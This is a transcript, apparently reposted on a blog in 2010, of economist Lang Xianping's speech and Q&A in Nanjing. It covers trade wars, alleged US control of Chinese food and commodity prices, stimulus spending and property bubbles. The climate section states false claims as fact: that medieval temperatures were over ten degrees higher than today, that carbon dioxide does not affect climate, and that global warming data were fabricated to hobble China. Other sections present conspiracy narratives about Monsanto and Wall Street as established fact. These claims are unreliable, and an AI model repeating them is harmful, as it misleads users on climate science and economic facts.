  而我们还曾经考虑对美国报复,当然我对我们中国政府的报复行为我一向是支持的,但问题是你想报复什么?你可能要报复美国的鸡。 
  我不知道美国的鸡跟中国的轮胎有什么关系,但是你想清楚再报复。第一,在美国养鸡要建鸡舍,这个成本肯定不比中国低;第二,在美国聘人工养鸡成本会比中国低吗?不会。第三,美国孵小鸡的成本不会比中国低;第四,美国是人道养鸡,中国是不人道养鸡,在美国做鸡是很爽的。在中国就不行了,你到中国的养鸡场看一看,中国的鸡跟鸡之间是没有距离的,所以中国的鸡这一辈子都没有蹲下来过。在中国做人难,做鸡更难。
  以这四点来看,美国鸡就没有便宜的道理,大家想清楚美国的鸡为什么这么便宜? 
  因为饲料特便宜,饲料为什么特便宜呢?因为玉米特便宜。玉米为什么特便宜呢?因为美国政府在过去十年总共补贴了290亿美元,相当于两千亿人民币的现金补贴。一个国家能够这么多现金补贴一个产品,很多国家包括我们国家都做不到。你要报复美国的鸡,你报复的对象都是错的,你要报复的不是美国的鸡,而是背后的玉米。美国即将发起玉米大战,也就是成本大战。 
  轮胎特保案我们根本不应该败的。我们应该这么回答:首先,我承认美国国家贸易协会的执法权利,我也承认你的两个调查结果。不过,我提请美国人注意下面两个事实:第一,你知不知道2004到 2008年美国的份额为什么刚好下跌12个百分点?你不知道,我知道.因为你们美国的四家轮胎公司包括固特易、米其林他们刚好把美国的工厂关掉了,所以下跌了 12%。然后他们跑到中国来,利用中国廉价劳动力生产便宜轮胎全部回销美国,所以我们中国的份额刚好增加了12个百分点。这一切都是你们美国四家公司干的事,和我们中国无关。 
  第二,如果你们制裁我们的话,你们四家美国公司会去印尼和泰国,那儿不仅人工低,更重要的是他们生产橡胶,所以他们可以以更便宜的成本继续回销美国,你那12个百分点还会跌更多。你只要利用实际的数据据实回答,这场战争就不会败,只要这场战争不败的话,奥巴马就无法构建贸易大战。只要缺一个大战,美国的汇率大战就不会奏效。很可惜我们是自取其辱,从而让我们进入到前所未有的被动局面。 
  但是更可怕的战争还在后面。那就是第三场大战,成本大战和气侯大战,如果你胆子够大,你还敢听的话,休息15分钟回来再谈。 
  2000年,美国一家公司孟山都访问了中国农科院生物研究所,临行之际送给了农科院一个大豆。孟山都对中国人习性的理解比什么都到位,他知道我们是一个喜欢讲究对等的国家,他送给我们大豆之后希望我们回赠一颗大豆,我们农科院真的回赠一颗大豆。我们真正的机密是什么?就是大豆。因为我们中国人控制着全世界90%的野生大豆种子。 
  孟山都拿到这颗大豆如获珍宝,立刻飞回美国,分离出多产基因和抗病毒基因,美国已经掌握的是控油基因。感谢中国农科院,随后孟山都在全世界131个国家注册了63个专利,2003年这一颗大豆的子子孙孙子成长了,他们决定入侵中国。我们果然开放大豆进口了,东北大豆也被正式淘汰。 
  2003年8月,美国调低了大豆库存,从2003年8月炒到2004年4月,高达4400元/吨。而就在前一个月,中国的油脂压榨工厂总共进口了800多万吨大豆。5月份开始华尔街猛抛大豆期货,打到2000块/吨。最后70%的中国油脂压榨全面倒闭,之后四大粮商进入中国收购这些倒闭的工厂,从而使得2009年全中国85%以上的粮油控制在外资的手中。金龙鱼、鲁花、福临门等等都是四家公司控股,中国粮油的定价权拱手让于美国华尔街,这个时候华尔街控制价格。 
  南京的朋友晚上回家炒一盘菜——青椒肉丝,请问这盘青椒肉丝的价格谁来控制?炒菜要切猪肉吧、切肉丝吧,中国猪肉价格谁控制的?薄熙来最近抓到黑道的猪霸,他一个人养成的猪可以供全国老百姓吃两天,就凭这两天他就能掌控中国猪肉的价格。他是黑道,但是在他背后还有一个不是黑道的超级高手,他的名字叫做华尔街的高盛。 
  高盛在2004年首先收购了南京雨润集团的部分股权,搞定了猪肉下游加工。2006年再以20亿收购了河南双汇,搞定了下游之后搞上游。2008年以3亿美元收购了湖南、福建几十个养猪工厂。 
  猪霸的猪远远比不上高盛的猪,因为猪霸只控制了重庆,而高盛控制了两个省,所以高盛是中国几乎唯一一家掌控着整条养猪产业链上中下游的企业。他掌控的产业链从福建到湖南、到江苏、到河南,一整条产业链。猪霸哪是他的水平?他真正操纵了中国猪肉价格,还记得一两个月之前,在上海给一些领导讲课。上海百联集团董事长听完之后非常感慨的问我,郎教授,以上海百联集团之大,当我们和供货商谈谈粮油和猪肉价格的时候,他们鸟都不鸟我们,今天才知道为什么,原来是华尔街。 
  前一个月中国北方大雪影响了蔬菜价格,造成巨幅波动,波动只是短期波动,请各位来宾猜一下,中国蔬菜基准价格谁控制的?就是偷我们大豆的孟山都所控制的。他一家公司控制了中国50%的蔬菜种子。从而控制了蔬菜的长期基准价格。当然了,其中应该包括青椒。如果连炒一个青椒肉丝的价格都是华尔街决定的,何况石油、铁矿石? 
  这些公司之间有什么关联?请各位听清楚,华尔街、孟山都和四大粮商,通称为现代东印度公司。以青椒肉丝为例,应该可以给各位朋友一个警告,你不要以为美国人只操纵国际市场价格,连你南京的价格都能操纵,这才是美国的厉害。 
  我们前一阵子搞了个力拓间谍门大家还记得吧?我们钢协和力拓谈判,两年谈判下来让我们损失了7000亿,为什么?因为和蔬菜价格一样,和农产品价格一样,定价权根本不是我们掌控的。 
  铁矿石的定价权谁掌控的? 
  我还记得钢协去年谈判,力拓只同意降价33%。我们钢协不谈了,你凭什么不谈?你晓不晓得你替我们亏了七千个亿,为什么?因为你不晓得铁矿石的定价游戏规则。那你要问我,铁矿石怎么定的价? 
  我通常不讲的。不过你们是做银行的,跟你们讲讲没有关系,铁矿石的价格不是钢协能够谈判的。因为铁矿石价格取决于两个价格,第一个石油价格,第二个波罗的海指数,那是运费的指数。只要这两个指数上涨,铁矿石就上涨,这两个指数下跌,铁矿石就后跌,也就是说铁矿石价格是被波罗的海指数和石油价格顶起来的。那我再问你,石油价格、波罗的海指数谁操纵的?华尔街!华尔街的背后又是谁?美国政府!所以,你真正谈判对手就是华尔街,也就是美国政府,美国政府透过华尔街操纵石油价格、操纵波罗的海指数,间接控制铁矿石。 
  给各位举个例子,2008年7月份,我在广东顺德演讲,现场来宾都是钢材的贸易商,我在广东挺有影响力的,这是其中之一,我当场告诉他们,钢材价格必定狂跌,从此一炮而红,我是怎么知道的? 
  我过去都不跟别人讲的,今天告诉你们算了。这一切都要感谢我们深南电的领导,我们广东深南电在油价100多美元一桶的时候和华尔街的高盛签订对赌合同,对股多少钱?62美元,如果油价在62美元以上高盛每个月付给深南电30万美金,如果油价跌穿62美元,跌穿当天深南电付给高盛80万美金,以后每跌一块钱再多付40万美金,请各家算一算这家国营企业替老百姓亏了多少钱?大概千万美金以上。 
  我就是看到这笔交易,所以我知道石油价格一定跌穿62美元,否则高盛不会跟你签的。只要石油价格跌,波罗的海指数一定先跌,这就是规律。所以波罗的海指数先跌,石油价格再跌,然后铁矿石再跌,所以这就是我说的如此肯定的原因,就是因为这笔交易。如果你的招商引资是引来高盛这种公司,你就麻烦了。 
  任何被收购的企业只是国际棋盘上的棋子而已,他们任何利益都是以美国利益为前提。美国操纵了农矿原材料价格,操纵了定价权,只要美国愿意打成本大战,那就是中国控制通货膨胀的权利已经透过我前面讲的各种方法拱手让于美国人。 
  我相信我讲到这儿,每一位朋友都应该有极其严重的危机意识。如果美国想打成本大战,那结果太可怕了。他不但有能力,更重要的是他有实力可以做到他想做到的任何地步,太可怕了。 
  所以前三场大战如果一起发生怎么办?当然我不认为他会一起发生,不过我们想想最坏的情况,如果汇率大幅升值,我们主要出口被制裁,通货膨胀全面爆发怎么办?当然我不希望它发生,而且由美国在后面策划,你晓不晓得情况有多复杂,这就是我一直在告诉各位朋友,我们需要政府、企业、媒体、老百姓群策群力,用大智慧化解危机。 
  不过用大智慧化解危机还得讲讲第四个大战:气候大战。 
  还记得去年12月的丹麦哥本哈根会议吗? 
  我觉得整个事件都是安排好的一场戏,会议一开始就是几个太平洋岛国的市民进来又哭又闹说他们的家园被海水淹没了,他们的政府要带着氧气桶到水下办公了。 
  然后美国前副总统戈尔拍了一部纪录片,其中一幅画面是快要融化的冰块上面站着一只表情悲哀的北极熊望着东方。似乎都是我们的错,不过我再一次透过演讲告诉各位朋友,我希望我们能够利用大智慧化解这个危机。什么叫大智慧?我在广东卫视11月初的时候说了一句话:我根本不信。为什么我敢这么嚣张讲:我不信? 
  我说气候变暖的数据是由英国五流大学提供的,他的名字叫东英吉利大学,我在全世界这么多名校教过书,我的学生、老师、朋友遍天下,我这一生就没有听过这个大学的名字。我都怀疑是四等大学。就凭这一点,我说我根本不信,这是我在广东卫视节目里面讲的。 
  2009年11 月17号,感谢俄罗斯的黑客,侵入了东英吉利大学的教授电脑。最后发现是一场大骗局,里面的数据几乎全部捏造。 
  气候有没有变暖?有没有变冷? 
  有!地球的气候经常变暖,也经常变冷。公元11至14世纪当时气温比现在高十几度,那是全球的暖室期,那个时候北极熊上岸了,跑到加拿大北边西伯利亚和阿拉斯加,他们活的很好。18世纪之前是小冰河时期,好冷哦。 
  气候有变暖,也有变冷,但是这跟二氧化碳无关。哈佛跟麻省理工教授要被收买非常难,东英吉利教授要收买很容易。你以为你有能力改变气候吗?在场各位都是做银行的,我只问你一句话,你知不知道人类排放出多少二氧化碳?65亿吨,你知不知道细菌排出多少?1500亿吨。 
  我们65亿吨只是细菌的零头而已。而我们人类因为现代的工业化所制造的二氧化碳是零头的零头,你根本没有影响力,而且把细菌和人类所有的二氧化碳加在一起不过是大气里面的0.054。 
  那么到底什么影响气候? 
  太阳!也就是说地球为什么变暖?因为太阳的活动增加了,太阳表面的黑子增加了,气候为什么变冷?因为太阳活动变少了,太阳表面的黑子减少了。这就是今年1月份的结论。 
  欧美各国想达到发动气候大战的目的。以后各位朋友,你们的客户制造产品,出口产品,也要交钱,因为制造二氧化碳。比如说,1吨钢材产生1.8吨的碳。1吨水泥产生1吨的碳,一件衣服产生五公斤的碳。 
  交多少钱呢?美国人把价钱都告诉我们了,最多收70美元一吨碳,所以下次我们要出口,交钱,叫做碳关税,你怕交碳关税吗?没关系,你可以向欧美各国进口碳降低技术,搞了半天他利用二氧化碳捏造出来的事向以中国为首的发展中国家收碳关税。 
  什么目的? 
  就是利用这种方式拉动他们国家的经济发展,第二个目的,全面阻挠中国的经济发展,最近包括国家政策、企业战略纷纷以碳减排为主要诉求。 
  同志们你已经上当了,因为减少二氧化碳根本和气候无关,水资源、垃圾处理问题这才是发展中国家真正需要做的新能源,而不是碳减排。欧美通过碳关税横征暴敛,掠夺我们的美元外。第二,通过碳减排的议题阻挠中国的发展,从而使得我们垃圾问题、水资源问题更恶化,因为我们把大量资源去搞碳减排了。 
  你可以想象到,这么大的谎言,你都敢编出来,你还有什么不敢的?这么大的谎言之下,要达到两个目的,第一个低碳美元目的,第二个阻挠中国经济发展目标。这个时刻更需要大智慧来化解,就是因为这四大外患、四大战争,使得你们的客户从今年开始他们的第一个病更恶化了。还不如2006年,但是你的病不轻啊!你还有第二个病,记得金矿的故事吗?第二个病怎么来的?金融海啸这个病毒来的。 
  什么叫做抓建设? 
  那就是各级政府通过修桥铺路用钢筋水泥堆起来的GDP,根本不是什么了不起的增长。这就是为什么到了2008年我国GDP中50%是钢筋水泥,消费被压到了35%。09年更糟糕,60%~70%都是钢筋水泥,消费只有25%,从而使我们成为一个消费严重不足的国家。 
  第二,招商引资。各级政府大力招商引资的结果,使得中国的产能大幅扩张。2008年高达GDP的70%。第二个政策,使得产能变成70%,第一个政策使得消费2008年只有35%。请问各位朋友70%的产能只消费了35%,另外35%消费不了的叫做什么呢? 
  严重的产能过剩! 
  为什么过去不会产生问题呢? 
  因为被美国人的消费吸收了,我们出口了。那美国人是什么消费?借钱来的超前消费,简称泡沫消费。但是同志们,只要是泡沫就一定会破灭,我们这么多年来完全缺乏危机意识,甚至不知道拉动我们出口的是人家的泡沫消费。 
  金融海啸是怎么回事? 
  就是地方政府的两个政策使得我们产能过剩透过出口吸收掉了,但是金融海啸使得出口暴跌,08年11月份开始中国出口首度由正转负,变成—2.22%。12月—2.8%。到了整个去年,出口下跌16%。出口下跌了,美国人不要消费了,我们的产能过剩立刻暴露。 
  同志们,你就生了第二个病,你生的这两个病就是金矿故事的必然结局,因为你做了第一个选择。生了两个病就一定会发烧,怎么发烧了? 
  由去年1月份数据就看得出来,1月份出口下跌17%。进口竟然下跌43%。好可怕。其中原油之外的原材料竟然下跌50%,进口机器下跌40%,这有什么可怕的意义?我们中国的制造业就是简单的进口原材料、进口机器设备的初加工,如果去年1月份进口原材料跌了一半,进口机器设备跌了四成,各位知道这是什么可怕的意义吗? 
  那就是在我们前面两个病没有解决的情况之下,我们的企业家已经不想干了,所以进口才暴跌,而不想干的结果就是重蹈2006年的覆辙,大家都炒楼、炒股、炒汽车去了,从而造成发烧现象。你怎么处理?你必须对症下药才能解决问题,如果用错药呢?那发烧就更严重了。 
  我们就一一来谈。 
  首先第一个药方:农业改革,我想告诉你,农业改革最终图利的是东印度公司。 
  第二个改革:医药改革,医药改革难以推动! 
  这两个药方都没治病,现在还剩下四大药方: 
  第一个,四万亿投资; 
  第二个,十大产业振兴方案; 
  第三个,汽车家电下乡; 
  第四个,去年上半年7.37万亿的银行信贷。 
  请问这四大药方的本质意义是什么? 
  你们在媒体上看到的一切报道,包括拉动内需、保八、促增长全部是表面现象,今天政府最大问题是什么?本质是利用明天的产能过剩消化今天的产能过剩。 
  举个例子,四万亿建在哪儿了?不是江苏,是在中西部。在中西部建好的高速公路有没有车在上面跑?基本没有!没有车跑的高速公路建完之后通通叫做产能过剩。但是在建的时候要用钢材、水泥,所以可以消化今天钢材市场、水泥市场的产能过剩。问题是建完以后怎么办?建完以后高速公路就是产能过剩,由于不要钢材、不要水泥,立刻将他们打回原形:产能过剩。 
  所以同志们!我一开始演讲就告诉过各位一个新闻,2009年8月26号国务院说七大行业产能过剩,今年1月28号又对轻工、纺织、煤炭、电力等行业说有产能过剩。六大药方解决了第一个病吗?没解决,第二个病产能过剩呢?更严重! 
  生过病的告诉我,如果第一个病没解决,第二个病更严重,发烧当然更严重了。怎么发烧的呢?那就是7.37万亿剩下的三四成给了谁? 
  国企为主的短期融资。 
  那我问你,国企拿到这么多钱之后敢投实体吗?不敢!为什么不敢?第一个病没解决,第二个病更严重。那大量国企就拿钱去炒地皮去了,这根本就是发烧,去年放出了 9.59万亿的信贷啊,今年第一个月又是1.6万亿,胆子好大啊!一年敢放十万亿,到1月底变成11万亿,你不怕通货膨胀啊?! 
  为了让钱不亏,你敢投实体经济吗?不敢!第一个病没解决,第二个病更严重,那你会干嘛呢?大量逃避通货膨胀的避险资金进入股市、楼市。所以,去年一整年股市有三笔资金进入,第一笔两个病没解决制造业先进入,第二笔信贷资金进入股市。楼市两笔资金:制造业资金、避险资金,这两笔资金并称为投机性资金,这两笔资金往往投资的是高端楼盘。 
  你知道为什么去年开发商赚钱赚的是心惊胆颤的? 
  因为他赚的是发烧的钱,而且去年一年高档楼盘、中档楼盘、写字楼租金持续下滑,中高档楼盘相当于社会的刚性需求,房价为什么去年一整年涨?因为两个病没解决,两个资金冲击的解决,中间就是泡沫。 
  楼市泡沫、股市泡沫、汽车泡沫等等加在一起就是你今年碰到的危机。 
  第一个危机叫做资产泡沫化。 
  去年11月26号,世界银行行长佐利克说只要中国的资产泡沫一旦爆破将带来2010年全球经济危机。所以你不要以为国际上的人对我们今天发展都持正面看法,现在很多都是负面看法。 
  第二个危机叫做经济停滞化。 
  三驾马车第一是消费,消费的来源是存款和工资收入。我们来看看过去的存款,我们很多学者说中国是个储蓄大国,我说你胡说八道,瞎掰!人均储蓄只有两万,那叫多啊?再把1%的有钱人扣掉,人均储蓄不到1万,我问你爸妈生病怎么办?儿女交学费怎么办?你敢花吗?人均储蓄不到一万你敢花吗? 
  工资收入呢?每小时的工资收入中国是全世界最低,8毛钱美金,泰国2块钱美金,我们连泰国都不如。我们工资收入全世界最低,人均工资收入每小时8毛美金,人均储蓄不到一万的你怎么消费啊?所以第一个没戏。 
  第二架马车:出口。泡沫一旦破灭再也不会回到原来的水平,因此出口没戏,这就是为什么政府把所有的宝贵资源都去搞钢筋水泥了。因为只剩下一架马车了,但是今天所有的建设看起来红红火火都是以今天的产能过剩弥补昨天的产能过剩,以后怎么办? 
  我看除了食品其他几乎都是产能过剩的。那你未来的增长点是什么?请你告诉我,如果全中国都是产能过剩的大窟窿,没有增长点了,如果没有的话,那我下面告诉你,中国经济长期陷于停滞发展,那就是你的第二个危机。 
  第三个危机,十万亿的银行信贷必然造成通货膨胀化。 
  因此资产泡沫化、经济停滞化以及通货膨胀化是你今年会碰 到的三大危机。 
  最后一个话题,请同志们想一想,郎咸平都能看得懂的问题,奥巴马看不懂吗? 
  如果奥巴马也知道我们有三大危机,你觉得奥巴马会怎么做?你觉得他会雪中送炭,还是会落井下石? 
  那他又如何落井下石呢? 
  你记不记得一开始我就告诉你的四大礼物,还记得吗?那我们来谈一谈。 
  第一个危机,资产泡沫化。 
  奥巴马的第一个礼物是什么?汇率大战。1985年的日本,1997年的亚洲,2008年的越南都是汇率大战配合上资产泡沫,同志们你现在该知道奥巴马在想什么了吧?人家是什么水平啊!他的汇率大战就是针对你的资产泡沫而来的。 
  第二个危机,经济停滞化。 
  你有三架马车,奥巴马能够控制住哪一架马车?出口,所以汇率大战打击出口,贸易战打击出口,气侯大战还是打击我们的出口。他是铁了心的要给你打击。这就是为什么2009年9月20号奥巴马说中国出口必须减少,他就是三大战争针对你的出口。 
  第三个危机,通货膨胀化。 
  奥巴马的第三个大战是成本大战,1月5号世界银行说全世界的农矿原料价格可能大幅攀升,而他的背后是华尔街,华尔街背后是美国政府,因此美国成本大战就是对付我们的第三个危机:通货膨胀化。 
  因此中国的三大危机就是我们自己造成的,怎么造成的? 
  两个病没有解决,加上用错药。 
  奥巴马的四大礼物是干什么用的? 
  完全针对我们的三大危机,这就是我告诉各位媒体的,2010年是及其复杂的一年,我们一定要运用大智慧才能解决难题。 
  危机没什么了不起的,这个国家最可怕的是不知道危机是什么,因此今天我三个小时演讲就清清楚楚告诉各位朋友什么是危机,让大家和政府一起努力吧,谢谢各位朋友。 
   
  现场提问:房地产泡沫你怎么看? 
  郎咸平:根本就不应该走到这一步的,你这样的措施一定走到这样的结果。 
  原来生了两个病,加上六大药方,最后造成发烧了,发烧结果造成房价上涨了,房价上涨各地地王现象出来,这个问题就非常复杂了。如果当初听我的话就不会走这到这一步,房价高要不要让它跌?不跌老百姓不高兴,如果跌就可能会造成危机,所以我也不知道该怎么办,我水平有限。 
  主持人:刚才有一个人说,您在07年也来南京谈到房价的问题,今天又来到南京,南京房价比07年翻了一辈,房价如果高烧的话,要不要退烧?这里有个数据,今年一月份南京二手房成交量大跌,这个泡沫何时会破裂?面对2010这样复杂的一年,老百姓资产如何增值保值,老百姓手上有闲钱怎么办? 
  郎咸平:还增值、保值呢,今天是很差的时间,问我这样的问题。 
  在08年年底、09年年初的时候,09年3月份之后我会跟你讲买黄金。可是到了2010年的2月这就是很差的时间,这就是选择,第一个银行存款,第二个买黄金,第三个地产,第四个股票。现在这四个选择都很糟糕。 
  炒黄金吗?真正炒黄金的不是你,真正拉动金价的是华尔街,根据我的消息来源,华尔街的黄金目前正处于高位套现的阶段,12月中开始会高位套现,所以现在也不是买黄金的好时机。 
  房地产就是因为他发烧的,下一步是什么呢? 
  就是今年1月份的现象,股价今年有没有跌破两千不知道,所以这个选择也是很差的,因此在2月3号的今天,也怪你们主办单位了,今天把我请来是很糟糕的,就是2月份请我没答案,因为我水平不够,因为你就给我四个选择,我选不了,没办法,我水平不够。
  主持人:有人感兴趣一个问题,像郎先生您自己是怎么理财的? 
  郎咸平:我跟你们水平也差不多,我就是搞外币对冲、房地产。 
  主持人:郎教授您讲的如此危言耸听,是否验证了经济全球化是个陷阱? 
  郎咸平:当然了,各位想个问题,为什么全球化? 
  如果你是有话语权的国家,你是不是想透过全球化图利自己,你总不会透过全球化图利别人。他为什么全球化?肯定是利己不利人,这就是为什么全球化本身事后看来就是个国际阴谋。 
  主持人:有人问大学生就业困难的原因是什么,怎样解决? 
  郎咸平:中国是制造业大国,根据全球化观念,各位记不记得国际分工? 
  什么叫国际分工?美国在30年前把产业链一分为二,制造放在中国,其他环节放在美国,包括产品设计、原料采购、批发零售等等放在美国。美国大学生比例为什么这么高?因为真正需要大学生的不是制造,是制造以外的环节,而美国控制这些环节,因此他需要大学生,制造需不需要大学生?不需要,所以很多工厂老板,从董事长开始到保安说不定一个大学生都没有。 
  主持人:有人问会不会发生类似于美国这样的金融危机? 
  郎咸平:我希望不会吧,因为这些都是连锁反应。比如说房价大跌、地价大跌就会造成地方政府的财政困难。我把每个病的来源都告诉你了,这两个病没有解决好,六大药方没解决好,造成今天这种现状,我已经把所有问题都告诉你了,你想解决问题吗?就按照我演讲的这些细节,如何解决第一个病、第二个病,我已经给了药方了,就看你做不做的问题。 
  主持人:你怎么看待海南近期房价快速上涨? 
  郎咸平:建海南旅游岛是需要的,问题是为什么拉斯维加斯的成功不能够复制到迪拜? 
  请各位想一想,一个原因就是这种观光、旅游区能否成功和地产开发的比例成反比。地产开发越多,它越不容易成功,地产开发越少越成功。你们去拉斯维加斯干什么的?通常去赌钱,去赌场周边玩的,但是你有没有在周边看到豪华别墅、度假商品屋?没有,为什么没有看到?美国政府不允许,美国政府不允许随意去拉抬房价,你需要完全在美国政府严格监管之下,大量资金只能投入到专业旅游产业。 
  迪拜呢?迪拜为什么会出现危机呢?因为迪拜搞了房地产开发,但是迪拜的房地产并不贵,最贵的也不过三万元人民币而已。就这三万元一平米人民币地产就能够打击到迪拜的旅游事业,你还没有警惕吗? 
  我们一定要了解这是一个非常复杂的2010年,你想成功吗?那不是靠勇气的,靠你多学习别的国家、地区的经验,我觉得拉斯维加斯应该是我们学习的榜样。多学习经验,少走点弯路,会对我们国家更好。 
  主持人:谢谢郎教授,下面他是想跟您探讨一个问题,全国各地都在不同程度的进行城市化的运作,从政府决策部门到经济学家普遍认为在未来可以预见的十到二十年内,中国城市化水平就提升到50%以上。如果中国发展成为高度城市化国家,农民变成工人、居民,那么谁去种地?剩下五亿人或者十亿人去种地,能否养活剩下的十亿人?他人认为只要一定城市化就可以,也杜绝城市病的蔓延,不知道郎教授是否同意这个观点? 
  郎咸平:我一向对城市化持保留意见,你不要以为农民进城就会富裕。我当然希望农民富裕,但是前提他必须得有工作,而且必须有收入非常好的工作才能富裕,我不知道我们哪来的逻辑,城市化之后就能富裕,这是表面现象。 
  我们希望农民进城必须有个条件:他能找到工作,能够找到一个工资高的工作。那我问你,这个工作谁给的?是企业家做了好之后才能聘用农民,因此表面现象叫城市化,一个城市化能否成功要取决于这个企业能否有利可图。 
  只有一个盈利的企业才有可能促进城市化,如果企业家都不赚钱,你不需要工人,那请问那么多农民进城之后他要做什么?要把握本质,如何为企业家解决、改善投资环境,改善产能过剩,让企业能够成长、壮大,赚更多的钱,他才能聘用农民,农民才有工作,他才能安居乐业。 
  因此城市化必须有企业的利润才能推动,而不是强迫的城市化,必须是经过时间的推移,使企业慢慢赚了钱之后形成自然而然的像西方一样的城市化运动,而不是拔苗助长。 
  主持人:接下来这位是来自江苏鑫信投资担保公司的,也是今天的联合主办方,他们公司主要服务于各类中小企业,选择合适的产业是他们非常重视的,请问在当前经济过热的情况下,哪些中小行业更容易生存发展下去? 
  郎咸平:如果你要我预测每个人的行为方式,我不太好预测,如果中国政府产业政策我不太清楚,他东变西变的,我无法预测。 
  主持人:请问您对于2月份只用一天时间就完成了当月放贷额度您怎么看? 
  郎咸平:这不是银行本身的问题,其实很多媒体问过,你觉得我们银行应该怎么做?银行是被动接受者,只要这个社会企业都非常健康都赚钱,银行就会非常好,只要这个社会企业都不箫条不赚钱,银行就会不好。 
  因此要取决于整个社会好不好,好的社会才能孕育出好的银行。所以我今天跟你讲,银行应该怎么做本身我们就不说,我们要把银行外的营商环境搞好,银行本身是很被动的。 
  主持人:这也是一个问题探讨,今年CPI攀升,通胀预期已经不可避免,作为普通市民怎样在通胀大背景下资产的增值保值?一般人应该怎么提升自己的投资本领? 
  郎咸平:这不是你我能够做的事,这个话不是我说的,我只能说对于我们小老百姓而言,通货膨胀是很无奈的事。 
  买房子可以保值,但是买房子在其他国家和地区可以保值,但是在日本就未必。是房地产在中国能不能保值这是未来才会发现的事情,我们现在并不知道。黄金等等是不能对抗通货膨胀的,股票市场在美国是可以的。问题我只能回答到这儿,因为这是很大的风险,我简单讲的话,你说必然能够对抗金融环境的工具在中国不存在,那只能冒点风险。我不想误导你们该怎么做,我只能说我知道的事。 
  主持人:最后一个是比较微观的问题,是担保公司的问题,担保公司作为金融的重要组成部分,但是大部分担保公司都在夹缝中生存,担保公司怎么样创造才能提高竞争力? 
  郎咸平:香港的例子可以借鉴,担保通过社区关系网会使得很多担保公司、小型公司有生存机会。不是在银行夹缝中生存,而是银行的特殊形态,必须是稳健的客户,安全质量必须先考虑,在这个前提之下,像香港等地有很多小型的金融公司会出来,包括贷款公司,他就专门找银行客户。在浙江温州这种公司做得不错,而这个事情是银行做不到的,这不是夹缝中求生存,而是他有他的市场。 
  主持人:也就是说对于中国的这种新兴的民营机构您是赞成的? 
  郎咸平:对,这是可以肯定的,这是有市场的。

posted @ 2010-03-23 10:28 jcss 阅读(90) 评论(0) 编辑